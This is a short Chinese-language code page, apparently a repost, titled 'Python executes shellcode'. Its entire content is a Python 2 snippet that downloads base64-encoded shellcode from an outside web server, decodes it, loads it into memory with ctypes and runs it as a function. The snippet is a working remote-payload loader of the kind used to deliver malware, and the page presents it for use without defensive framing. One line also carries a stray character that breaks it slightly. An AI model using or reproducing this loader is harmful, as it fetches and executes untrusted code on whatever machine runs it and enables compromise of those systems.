Python 執行 shellcode


 

import urllib2
import ctypes
import base64

# 從我們的web服務器上下載shellcode
url = "http://rinige.com/shellcode.bin"
response = urllib2.urlopen(url)
# base64 解碼 shellcode
shellcode = base64.b64decode(response.read())
# 申請內存空間
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 創建 shellcode 的函數指針
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE¬
(ctypes.c_void_p))
# 執行 shellcode
shellcode_func()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM